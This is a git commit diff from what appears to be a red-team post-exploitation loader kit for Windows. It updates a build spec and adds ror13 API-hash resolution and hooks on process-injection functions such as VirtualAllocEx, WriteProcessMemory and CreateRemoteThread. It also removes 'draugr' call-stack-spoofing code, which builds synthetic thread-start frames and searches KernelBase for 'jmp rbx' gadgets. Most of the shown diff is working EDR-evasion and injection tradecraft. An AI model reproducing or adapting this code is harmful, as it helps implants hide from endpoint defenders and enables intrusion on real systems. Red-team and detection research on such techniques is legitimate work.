mirror of
https://github.com/nickswink/Crystal-Kit-Xenon
synced 2026-06-21 14:02:19 +00:00
update postex loader with shared libs
This commit is contained in:
@@ -4,7 +4,10 @@ author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic
|
||||
make pic +gofirst +optimize
|
||||
dfr "resolve" "ror13"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
mergelib "../libtp.x64.zip"
|
||||
|
||||
load "bin/proxy.x64.o"
|
||||
make pic
|
||||
@@ -13,12 +16,13 @@ x64:
|
||||
link "draugr"
|
||||
|
||||
load "bin/hook.x64.o"
|
||||
make object
|
||||
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
|
||||
make object +optimize
|
||||
mergelib "../libtcg.x64.zip"
|
||||
import "LoadLibraryA, GetProcAddress, SpoofStub, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, ExitThread, CloseHandle, Sleep, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, CreateProcessA"
|
||||
export
|
||||
link "hooks"
|
||||
|
||||
push $DLL
|
||||
link "postex"
|
||||
link "dll"
|
||||
|
||||
export
|
||||
|
||||
@@ -1,87 +0,0 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Save you some headache doing a PIC printf for debugging
|
||||
*/
|
||||
#ifndef WIN32_FUNC
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
#endif
|
||||
|
||||
#define PIC_STRING(name, str) char name[] = { str }
|
||||
#define PIC_WSTRING(name, str) wchar_t name[] = { str }
|
||||
|
||||
typedef int __cdecl (*vsnprintf_t)(char * d, size_t n, char * format, ...);
|
||||
|
||||
typedef struct {
|
||||
WIN32_FUNC(VirtualAlloc);
|
||||
WIN32_FUNC(VirtualFree);
|
||||
WIN32_FUNC(OutputDebugStringA);
|
||||
vsnprintf_t vsnprintf;
|
||||
} DPRINTFFUNCS;
|
||||
|
||||
void __dprintf(DPRINTFFUNCS * funcs, char * format, va_list * args) {
|
||||
int len;
|
||||
char * temp;
|
||||
|
||||
/* figure out the length of our buffer */
|
||||
len = funcs->vsnprintf(NULL, 0, format, *args);
|
||||
|
||||
/* allocate our memory */
|
||||
temp = funcs->VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (temp == NULL) {
|
||||
return;
|
||||
}
|
||||
//__stosb((unsigned char *)temp, 0, len + 1);
|
||||
|
||||
/* format everything */
|
||||
funcs->vsnprintf(temp, len + 1, format, *args);
|
||||
|
||||
/* printf it */
|
||||
funcs->OutputDebugStringA(temp);
|
||||
|
||||
/* free our memory and move on with our lives */
|
||||
funcs->VirtualFree(temp, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
void dprintf(IMPORTFUNCS * ifuncs, char * format, ...) {
|
||||
va_list args;
|
||||
HMODULE mod;
|
||||
|
||||
DPRINTFFUNCS funcs;
|
||||
|
||||
PIC_STRING(kern32, "KERNEL32");
|
||||
PIC_STRING(vastr, "VirtualAlloc");
|
||||
PIC_STRING(vfstr, "VirtualFree");
|
||||
PIC_STRING(odstr, "OutputDebugStringA");
|
||||
PIC_STRING(msvcrt, "MSVCRT");
|
||||
PIC_STRING(pfstr, "vsnprintf");
|
||||
|
||||
mod = ifuncs->LoadLibraryA(kern32);
|
||||
funcs.VirtualAlloc = (__typeof__(VirtualAlloc) *) ifuncs->GetProcAddress(mod, vastr);
|
||||
funcs.VirtualFree = (__typeof__(VirtualFree) *) ifuncs->GetProcAddress(mod, vfstr);
|
||||
funcs.OutputDebugStringA = (__typeof__(OutputDebugStringA) *)ifuncs->GetProcAddress(mod, odstr);
|
||||
|
||||
mod = ifuncs->LoadLibraryA(msvcrt);
|
||||
funcs.vsnprintf = (vsnprintf_t) ifuncs->GetProcAddress(mod, pfstr);
|
||||
|
||||
va_start(args, format);
|
||||
__dprintf(&funcs, format, &args);
|
||||
va_end(args);
|
||||
}
|
||||
@@ -1,76 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
#define RBP_OP_INFO 0x5
|
||||
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
|
||||
|
||||
typedef ULONG NTAPI (*RTLRANDOMEX) (PULONG);
|
||||
|
||||
// God Bless Vulcan Raven.
|
||||
typedef struct _STACK_FRAME {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME, * PSTACK_FRAME;
|
||||
|
||||
typedef enum _UNWIND_OP_CODES {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union _UNWIND_CODE {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE, *PUNWIND_CODE;
|
||||
|
||||
typedef struct _UNWIND_INFO {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode[1];
|
||||
} UNWIND_INFO, *PUNWIND_INFO;
|
||||
|
||||
typedef struct _FRAME_INFO {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO, * PFRAME_INFO;
|
||||
|
||||
typedef struct _SYNTHETIC_STACK_FRAME {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID pGadget;
|
||||
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
PVOID function;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL, * PFUNCTION_CALL;
|
||||
|
||||
typedef struct _DRAUGR_FUNCTION_CALL {
|
||||
PFUNCTION_CALL FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
|
||||
+38
-13
@@ -1,6 +1,38 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
|
||||
@@ -31,12 +63,6 @@
|
||||
#define CREATEPROCESSA_HASH 0x16B3FE72
|
||||
#define SLEEP_HASH 0xDB2D49B0
|
||||
|
||||
#define TPALLOCWORK_HASH 0x7449D9F8
|
||||
#define TPPOSTWORK_HASH 0xA3560665
|
||||
#define TPRELEASEWORK_HASH 0x1FFDA65A
|
||||
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
|
||||
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
|
||||
|
||||
#define HASH_KEY 13
|
||||
|
||||
#ifndef __MINGW32__
|
||||
@@ -44,18 +70,17 @@
|
||||
#endif
|
||||
|
||||
__forceinline DWORD ror( DWORD d ) {
|
||||
return _rotr( d, HASH_KEY );
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
}
|
||||
+174
-462
@@ -1,329 +1,41 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "memory.h"
|
||||
#include "draugr.h"
|
||||
#include "proxy.h"
|
||||
#include "hash.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
typedef ULONG NTAPI (*RTLRANDOMEX)(PULONG);
|
||||
|
||||
/* the proxy pic */
|
||||
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
#include "hook.h"
|
||||
#include "tcg.h"
|
||||
|
||||
/* store resolved functions */
|
||||
void * g_ExitThread;
|
||||
|
||||
/* some globals */
|
||||
MEMORY_LAYOUT g_layout;
|
||||
SYNTHETIC_STACK_FRAME g_stackFrame;
|
||||
|
||||
void init_frame_info()
|
||||
{
|
||||
PVOID pModuleFrame1 = GetModuleHandleA("kernel32.dll");
|
||||
PVOID pModuleFrame2 = GetModuleHandleA("ntdll.dll");
|
||||
|
||||
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
|
||||
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
|
||||
g_stackFrame.Frame1.Offset = 0x17;
|
||||
|
||||
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
|
||||
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
|
||||
g_stackFrame.Frame2.Offset = 0x2c;
|
||||
|
||||
g_stackFrame.pGadget = GetModuleHandleA("KernelBase.dll");
|
||||
}
|
||||
|
||||
BOOL get_text_section_size(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
|
||||
{
|
||||
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
|
||||
|
||||
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
|
||||
|
||||
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
|
||||
|
||||
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
if (_strncmp((char*)pImgSectionHeader[i].Name, (char*)".text", IMAGE_SIZEOF_SHORT_NAME) == 0)
|
||||
{
|
||||
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
|
||||
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
|
||||
{
|
||||
PUNWIND_INFO pUnwindInfo = NULL;
|
||||
ULONG unwindOperation = 0;
|
||||
ULONG operationInfo = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frameOffset = 0;
|
||||
|
||||
STACK_FRAME stackFrame;
|
||||
memset(&stackFrame, 0, sizeof(stackFrame));
|
||||
|
||||
if (!pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
|
||||
|
||||
while (index < pUnwindInfo->CountOfCodes)
|
||||
{
|
||||
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
|
||||
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if (unwindOperation == UWOP_PUSH_NONVOL)
|
||||
{
|
||||
stackFrame.TotalStackSize += 8;
|
||||
if (RBP_OP_INFO == operationInfo) {
|
||||
stackFrame.PushRbp = TRUE;
|
||||
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
|
||||
stackFrame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_NONVOL)
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_SMALL)
|
||||
{
|
||||
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_LARGE)
|
||||
{
|
||||
index += 1;
|
||||
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
|
||||
if (operationInfo == 0) {
|
||||
frameOffset *= 8;
|
||||
}
|
||||
else {
|
||||
index += 1;
|
||||
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
|
||||
}
|
||||
stackFrame.TotalStackSize += frameOffset;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SET_FPREG)
|
||||
{
|
||||
stackFrame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_XMM128)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
|
||||
{
|
||||
index = pUnwindInfo->CountOfCodes;
|
||||
if (0 != (index & 1)) {
|
||||
index += 1;
|
||||
}
|
||||
|
||||
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
|
||||
return calculate_function_stack_size(pRuntimeFunction, imageBase);
|
||||
}
|
||||
|
||||
stackFrame.TotalStackSize += 8;
|
||||
return (PVOID)(stackFrame.TotalStackSize);
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper(PVOID returnAddress)
|
||||
{
|
||||
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
|
||||
DWORD64 ImageBase = 0;
|
||||
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
|
||||
|
||||
if (!returnAddress) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pRuntimeFunction = RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
|
||||
|
||||
if (NULL == pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size(pRuntimeFunction, ImageBase);
|
||||
}
|
||||
|
||||
PVOID find_gadget(PVOID pModuleAddr)
|
||||
{
|
||||
BOOL bFoundGadgets = FALSE;
|
||||
DWORD dwTextSectionSize = 0;
|
||||
DWORD dwTextSectionVa = 0;
|
||||
DWORD dwCounter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG randomNbr = 0;
|
||||
PVOID pModTextSection = NULL;
|
||||
|
||||
PVOID pGadgetList[15];
|
||||
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
|
||||
|
||||
RTLRANDOMEX rtlRandomEx = (RTLRANDOMEX)GetProcAddress(GetModuleHandleA("ntdll"), "RtlRandomEx");
|
||||
|
||||
if (!bFoundGadgets)
|
||||
{
|
||||
if (!get_text_section_size(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
|
||||
|
||||
for (int i = 0; i < (dwTextSectionSize - 2); i++)
|
||||
{
|
||||
// Searching for jmp rbx gadget
|
||||
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
|
||||
{
|
||||
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
|
||||
dwCounter++;
|
||||
|
||||
if (dwCounter == 15) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bFoundGadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
randomNbr = rtlRandomEx(&seed);
|
||||
randomNbr %= dwCounter;
|
||||
|
||||
return pGadgetList[randomNbr];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_spoof_call(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID returnAddress = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugrParameters;
|
||||
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
|
||||
|
||||
// configure BaseThreadInitThunk frame
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
|
||||
draugrParameters.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper(returnAddress);
|
||||
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// configure RtlUserThreadStart frame.
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
|
||||
draugrParameters.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper(returnAddress);
|
||||
draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* Ensure that the gadget stack size is bigger than 0x80, which is min
|
||||
* required to hold 10 arguments, otherwise it will crash sporadically.
|
||||
*/
|
||||
|
||||
do {
|
||||
draugrParameters.Trampoline = find_gadget(g_stackFrame.pGadget);
|
||||
draugrParameters.TrampolineStackSize = calculate_function_stack_size_wrapper(draugrParameters.Trampoline);
|
||||
|
||||
attempts++;
|
||||
|
||||
// quick sanity check for infinite loop
|
||||
if (attempts > 15) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
|
||||
|
||||
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// make the call!
|
||||
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
|
||||
}
|
||||
|
||||
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
|
||||
{
|
||||
/* very inelegant */
|
||||
if (functionCall->argc == 0) {
|
||||
return draugr_spoof_call(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 1) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 2) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 3) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 4) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 5) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 6) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 7) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 8) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 9) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 10) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
|
||||
} else if (functionCall->argc == 11) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
|
||||
} else if (functionCall->argc == 12) {
|
||||
return draugr_spoof_call(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
|
||||
}
|
||||
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
#include "picodebug.h"
|
||||
#endif
|
||||
MEMORY_LAYOUT g_layout;
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
